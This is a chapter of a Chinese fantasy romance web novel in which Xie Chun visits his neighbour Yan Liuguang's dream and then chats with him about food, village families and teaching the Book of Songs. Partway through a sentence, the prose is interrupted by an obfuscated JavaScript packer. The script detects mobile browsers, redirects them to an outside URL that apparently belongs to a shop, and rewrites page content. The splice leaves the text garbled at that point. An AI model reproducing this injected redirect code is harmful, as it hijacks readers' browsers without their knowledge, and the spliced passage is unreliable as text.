解椿拗不过它,干脆和它约法三章:“那好,我跟你一起去,你不准在梦里面乱跑,我和他说。” 这样,只要他举止不离奇,燕流光也只会以为梦见了白天的事,不会生疑。 至于墨汁,只能等梦里遇到,或者回来再说了。 解椿无声叹气,按住了剑鞘。 ……他其实也很好奇,燕流光会梦见什么。 * 解椿站在院子里,手上提着的东西从破刀换成了剑。 他愣了一下,才缓缓看向外面,果不其然看到燕流光。 “我就说他很好看。”他悄悄对剑说,“我们就是在这个院子里碰见的。” 不过原本应该慌忙躲进来的乌兮没在,和剑说话的时候,解椿就已经抖过袖子。 他转念一想:这是燕流光的梦,燕流光不知道有乌兮,也是正常。 “马上我就要和他说,我不是贼了。” 外面那道人影没动,解椿见缝插针,继续和剑讲悄悄话:“他这么晚还不睡,是因为他家猫出去了,没回来。” “猫就是我之前和你说的美中不足的地方。” 剑刚要扭动,发觉人影便直直走了进来,立刻安静了。 他在解椿面前停下,抢先出声:“我叫燕流光。” 和实际上的顺序完全不一样,解椿愣愣,有些反应不过来:“我、我叫解椿,打算搬到太平村住。” 他仍习惯性把剑往后藏了藏,“刚好这边没人,就来看看。” 燕流光马上便道:“我就住在隔壁,有什么麻烦,都可以来找我。” “我现在在村子里教书,但是之前种地和打猎都干得很好,还懂木工、会瓦作,能养六畜,照料花草……” 解椿在他说到自己具体会做哪些菜哪些点心之前,赶紧打断了他:“谢谢你,你会得真多……特别厉害。” 燕流光抿唇笑了一下,还是那副表情,但目光似有期待。 解椿:“……” “……遇到麻烦,我会来找你的。”他只好跟着补充。 “院子东西太多,太乱,等天亮了,我再过来替你收拾。” 燕流光小心问道:“……你要不要去我那里歇一下脚,吃点东西?” 解椿看着他,突然明白过来,为何梦中会是这样的发展。 不可得之曰梦,心驰神往曰梦,日有所思曰梦。 原来是燕流光在耿耿于怀昨日的表现。 然而他是梦里的解椿,他不能在这时候笑。 只能问:“会不会不太好?” “我刚好在等猫回来,家里也还有白天做的点心,不麻烦的。”燕流光摇头,“刚好我也可以跟你说一说,太平村,还有周边几个村子。” 解椿张了张嘴,还没出声,就被剑悄悄撞了一下手心。 “……好吧,那有劳了。”解椿改口,跟在了他们后面。 但燕流光没走几步就停了。 解椿一头雾水地上前,刚到他身侧,他就又重新动起来,“要是点心不够吃,我还能再做。” 不等解椿开口,又道:“点心是填肚子用的,吃不饱,做别的好一些。” 解椿微妙。虽然入梦的初衷确实是为了让剑品尝一下燕流光的手艺,但燕流光未免也太上道了一些。 他好奇问燕流光:“万一我是趁着夜黑风高过来偷东西的贼人怎么办?” 燕流光抿了嘴,摇头不说话。 就在解椿以为不会有回答的时候,燕流光开口了。 声音很轻,和之前说他开心的时候一样轻。 “……那也要好好休息,吃饭的。” 解椿几乎想跺脚。 虽然他不是真的贼,但燕流光绝对是笨蛋。 最起码也要有一点防人之心吧,这家伙,他手里还拿着剑呢。 事实证明,燕流光确实毫无防人之心。 解椿故意很重地把剑放到桌子上,燕流光端点心过来,不但没问,还夸剑好看。 从剑鞘一路夸到剑穗,夸得剑飘若凌云,不知所以。 剑开心了。 燕流一样开心。 解椿吃着被剑飨过,味道淡了许多的点心,突然不太高兴。 他把点心放下来,严肃开口: “就算我不可能是贼人——” 话没说完,嘴里就被眼疾手快的燕流光塞了一块新的。 “这个是刚做的,更好吃。” 燕流光同样严肃地说。 8.杀猪第八天 豆糕几乎吃不出什么甜味,只有一股很淡的清香。 但直到离开梦,解椿也依然不太高兴。 早上抱着猫出门,看到门口站着的燕流光,更是气不打一处来。 可是燕流光两只手没有闲着,一手端了盘子,一手提着小筐,盘子上摆了糕点,小筐里装着枇杷。 人和木头一样动都不动,也不知道到底站了多久。 解椿一下子就泄气了:“……你怎么不敲门。” 说着,他放下猫,轻轻拍了猫的后腿侧:“乖,自己去玩。” 燕流光跟着浑身一紧,道:“不想打搅你。” 解椿好笑道:“那你倒是等我醒了开门再来啊。” 要是他睡到日上三竿,这人难道也要候到日上三竿吗? 不等燕流光回答,他凑近,戳了一下那盘冰凉的、几乎和梦里一模一样的点心,故作惊讶:“这是豆糕?” 燕流光不疑有他,点头:“昨天刚收了豆子。” 解椿明知故问:“大早上的,怎么突然做这个?” 燕流光眼睫扑朔,眼睑处的红色小痣颤了又颤,看得解椿心情不由大好。 他本来也只是气这个人全然没有什么戒备、防人之心一类的东西罢了,连别扭都算不上,更不要说芥蒂。 “燕流光?”解椿伸手在青年面前晃,喊青年的名字,不无得意地催促他开口,“好好的,干嘛不说话。” “……天快热了,吃这个能消暑。”燕流光艰难往外吐字,“刚好,家里豆子也有。” 解椿简直忍得比梦里还辛苦:“那你盯着看猫什么,墨汁又不能靠这个消暑。” “对吧,墨汁。” 四处打滚的猫殷勤地咪了一声。 燕流光也顿时从结巴变成了哑巴。 解椿再也止不住笑:“燕流光,你是不是不好意思了?” 他觉得自己实在是坏,仗着能入梦,就这样肆无忌惮地逗人:“有什么不好意思的呀?” 奈何被逗的人无论如何也不肯开口,生生憋红了一张脸。 他心中虽然遗憾,也只好作罢,重新换了个问题:“那枇杷呢?” 燕流光院里种的是柿子,去年刚载,还是小树,根本结不了果。 这还是他梦里知道的。 要不是梦就那么长,燕流光估计连家中何处藏了钱财都会说出来。 “谷生送过来的。”燕流光缓缓找回了声音,“刚好我在外面。” “拿红绳扎辫子,总光脚丫的那个?”解椿努力把名字和人脸对上号,“他家是不是住在村口?” “村里人都喊他娘喊叫四嫂。” 昨天从镇子上回来,解椿还在她家门口碰到她了。 叶四嫂身后的那间院子里就栽着从山上看都老大一棵的枇杷树。 燕流光点点头,跟着,又摇头:“谷生家在隔壁,是小叔。” “四嫂那边的枇杷靠阴面,还不够甜。” 解椿勉强捋顺了两户人家的区别,“原来是这样。” 村子不大,四十五户人加起来,也不过两百有余,记住不难。 难记的是这一姓人之间的关系,以及辈分。 解椿最不擅长记的,就是各种关系。 以前是法术和法术之间的关系,现在是什么三亲六眷,七姑八姨……甚至后者还要更难一些。 一力降十会,法术他好歹还能强使出几个呢。 “再过两天就甜了。”燕流光说,“小满应该会来送。” 解椿开始回忆小满是谁,男孩还是女孩。 燕流光唇角带笑,提醒:“神仙哥哥。” “原来是她。”解椿恍然,顺手从框里捞了一小把枇杷,“……不过你是怎么知道的?” 没记错,他分明是从镇子上回来的时候碰到的叶小满。 那姑娘在溪边抓鱼,不慎滑了一跤,呆呆坐在溪里,刚好被他看见。 还没开口问要不要帮忙,就听见一句没头没脑的神仙哥哥……大概是真摔懵了。 燕流光道:“她也在认字。” 又道:“不太专心。” 解椿眨眼,这才想起来,和他这个半路出家的杀猪匠不一样,燕流光是有正经身份的。 他收了东西,即刻翻脸赶人:“你怎么还不去教书?” 燕流光站在原地:“今天不上学。” 解椿盯着他,怀疑道:“昨天是不是也没上?” 昨天燕流光忙前忙后布置了一天,哪来的时间教书。 燕流光:“……” “村子在农忙,我不是……”他欲言又止地解释,“这个时间,人都在地里。” “小孩子也要忙一整天吗。” 解椿不信。 燕流光百口莫辩。 他本来就不是口齿伶俐的人,在解椿面前,被解椿的目光注视,更是时常感到窘迫,不知道该说些什么,又觉得非说些什么不可。 于是这句话脱口而出:“那现在让他们上。” 解椿扑哧笑了,乐不可支:“你怎么还出尔反尔。” “我又没有讲你不干活。” 他只是想看燕流光平时怎么教书。 乌兮领他来太平村,还特地到村学外面转了一圈。 也巧,村学旁边就是棵桑树。 小妖蹦蹦跳跳,用爪子在地上比划,告诉他说自己就是在这里的树上认的字,好心的夫子还给它搭了一个结实的窝…… 那会燕流光应该还在四处游学呢。 解椿看了一眼院子,还好,猫只是在挠树,没上去抓鸟。 又去看更加沉默的燕流光,叹气:“你就这样干站着啊。” 燕流光老实道:“鸡和猪都喂过了。” 解椿:“……” “我不是说这个。”他好笑道,“是问你在外面站了这么久,要不要进来坐。” “再说,你把活都干了,我干什么。” 这的确是个问题。 有过失言的前车之鉴,燕流光更加审慎地思考:“千年雪还没有谢,可以去看千年雪。” 他拘谨坐下来,本就直挺的背脊绷得更紧,解椿怀疑就算这时候把椅子抽掉,他也还会是保持现在的姿势。 上一次有人在他屋子里这么忐忑,还是发现偷偷下的化功散没有效果,害怕他发觉的时候。 同样是忐忑,燕流光就显得很生动、可爱。 解椿把糕点和枇杷都放好,才接燕流光的话:“千年雪是就那个开很多白花的树吗?” 燕流光点头,“就是木油树,这里的人习惯喊千年桐,开的花,就叫千年雪。” “很好听。”解椿喜欢这个名字。 他想起来自己其实也能开花。 只是要很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540169|203641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,久到燕流光或许早就成了一抔黄土。 燕流光是喜欢花的人,虽然他的花并不是多好看的花,但胜在千万年也难得一现,见不到,会有点可惜。 转念一想:开花的时候,也许他早就不是解椿了。 一棵树和一抔土,怎么不也是一种好邻居? “沿着小溪一直走就能看到,不用上山。”见他感兴趣,燕流光才继续往下说。 解椿摇头,直接道:“可是我更想看你教书。” 他没给燕流光反应的机会,跟着又问:“你平时都教些什么呀?” 燕流光失语片刻,才缓缓道:“才刚刚开始教《诗》。” “……”没念过,不对,是完全没听过。 解椿努力回想,自己当初认字,学的都是写什么。 哦,是剑谱。 师父找的先生一本剑谱一本剑谱地教他念,教他写,抓到哪本就是哪本,根本没有章法可言。 ——或许他也不是只有在剑道上有一点天赋,读书也还行的。 于是更加好奇:“他们什么时候才能上学?” “……明天。” “那我明天喂过猪,还有鸡以后,就去村学听你教书。”解椿愉快做了决定,“放心,我会站在外面远一点的地方听,不会打搅你们的。” “你好好教,不准分心。” 他说着就到边上去烧水了,留燕流光一个人在屋子里,兀自纠结,失落。 《诗》刚巧上到陈风,燕流光既想解椿来听,又怕他听。 燕流光也曾经是目不识丁、听不懂几个字的魔。 彼时他真身初到人间,无意路过一片琅琅书声。 夫子在教:月出皎兮,佼人僚兮。舒窈纠兮,劳心悄兮。 他听到月字,不由停下脚步。 九幽之地没有月亮,他起初也并不识月。 燕流光第一次见到月亮,是附在蜉蝣身上。 是夜,虫躯爬出水面,在一截草茎上停歇,浑浑噩噩之中,但见一颗莹莹的明珠自东方升起,华光烨烨,皓然皎洁。 于是天高月远,便成了他对人间最初的印象。 然后才是解椿。 夫子的解释他那时并不能听懂,但眼前却浮现一张朦胧的,如明月般的脸。 那一届的剑会不在晚上,可梦中那位剑仙总在月下。剑光月光,织成一道的淡如轻烟的影子。 后来他认了字,读了书,才明白当年无意中听到的那番话的意思。 那是相思。 燕流光想借《月出》,去说相思,可是解椿在,他忽然就不知道要怎么讲《月出》,怎么道相思。 解椿烧了水,又去井边凉了水回来,看到的就是神游天外,视线不知落在何处的燕流光。 他伸手在人眼前晃了好几下,燕流光才有反应。 “想什么呢,这么入迷。”解椿递过去一只杯子,“天热了,多喝点水。” 喝水也能消暑。 燕流光小口喝完了水,有些不舍得将杯子放下。 他犹疑许久,才踌躇道:“有点不知道明天要怎么教书。” 解椿不理解:“是不是之前在农忙,一直没有教,所以生疏了?” “但是他们也没有上学,要生疏,也是大家一起生疏,跟以前其实是一样的。” 他仔细想了想,如此安慰燕流光。